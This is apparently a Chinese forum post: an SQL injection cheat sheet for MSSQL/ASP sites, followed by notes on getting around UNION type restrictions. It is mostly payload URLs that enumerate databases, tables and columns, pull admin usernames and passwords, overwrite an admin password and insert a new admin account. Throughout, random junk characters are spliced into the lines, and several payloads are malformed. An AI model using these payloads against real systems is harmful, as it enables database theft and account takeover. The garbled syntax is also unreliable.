爆库:
! M5 @: v; T2 D5 ^http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--' l4 I6 t+ g$ a6 |8 S9 j
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.0 e1 R8 A H4 S6 \* a" M' K2 J
爆下一个库:
' n" _8 I- n- |& C" }http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--6 ]$ @! P: }" d6 X
4 |+ N" T# q% A q! Z5 P* `' x
爆表:
6 |' C9 z& z3 y7 x: thttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--& H0 a7 m: ~# y/ ]
0 z; y' Q8 R! d- d! X! {6 b2 ]
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.2 W* i m( |/ e6 Z/ e9 S
4 m0 G. ?% M. U; l
爆下一个表 X- h' f; n2 ]9 S7 c* M. b" E
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
+ a+ J) F4 t+ q; ]# F2 \2 J! }( A3 V. S7 ^" L) U
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
( g* [; W. Q7 m; r) O9 ]( W) g5 G3 ^9 J! W5 H2 }
' v" N5 |2 E1 A, `, A- v! p9 H
6 n( y7 Z; X! W, B爆字段:
( w0 M4 }- Q; s9 shttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--2 T( i2 Y! ?% K9 |+ R: B$ _! z
+ T7 r4 x1 K% U0 ]! [8 D( m爆下一个字段, f7 a# L2 T. b( H
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--6 t; m4 p* A$ z/ t; S% L
6 h) _) N6 s5 o' T" E$ O; r
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
4 [/ ?: w2 `4 F, ~& H% B/ S
9 X; e: H8 R5 _# D* `/ X1 J* X* L
% w6 A/ B# R& H9 W+ e# R+ e& Q爆字段里的内容
7 f1 i( ~$ Z! ahttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--+ ~( D. @' t: a/ p, ^4 x7 L
+ h4 L& M0 A' C# r {0 Z7 Z7 lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--3 t, _+ i4 C$ O( I
) u6 h3 V4 N T5 f. e- T
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--. o+ Y1 L+ h! i2 v+ P, k ^3 `
1 k& H% d3 U2 k$ B/ ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--$ m1 a( p7 ~: K; l3 q
G8 y* L* F& p5 E8 R更新字段里的内容
8 d; ]8 R1 Z1 U& g7 _http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
3 D& B! m' c( W0 r% {. ~% A4 b1 }" d; J; L
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)-- M: }8 u! L- `$ S# j2 @
% f6 `+ d* d# c0 u, M& x p. ^0 k& `! q( v
* I- j6 [* u4 D; _/ P9 S 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。' W4 J B: e* d$ V) f% a0 C
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
( [: K6 v# \* @! m 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。8 w0 @5 Y( u1 P! w; \& U5 P" N @9 l. Q
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。" b2 {# K0 q% U3 ~# c/ R
. w8 `% y- [4 [0 H& h; g9 S0 H0 r
突了了大部份限制的语句- K( b }4 _2 \4 t+ i
and 1=2 union all select char(49),char(50),null,null;--
- ]8 t2 p2 q5 e8 O+ ?8 s
: I9 T2 S8 U, P- J/ W T# ~; @" x" X: B) D5 k- Y
null也可以正常执行,不过没有回显,不好判断回显的列数。
* v! F" E+ k! D一般union遇到问题都是有text或者ntext字段,image的很少遇到
% |( l$ H( m, ~
3 A6 |0 Y( H U0 t8 K0 q可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
: X. v$ D( j5 a/ q; D' |! x1 X5 ^$ A I5 G6 Z( ~. c2 ~
0 f# F% K$ V" s% v& M) Y2 Z
|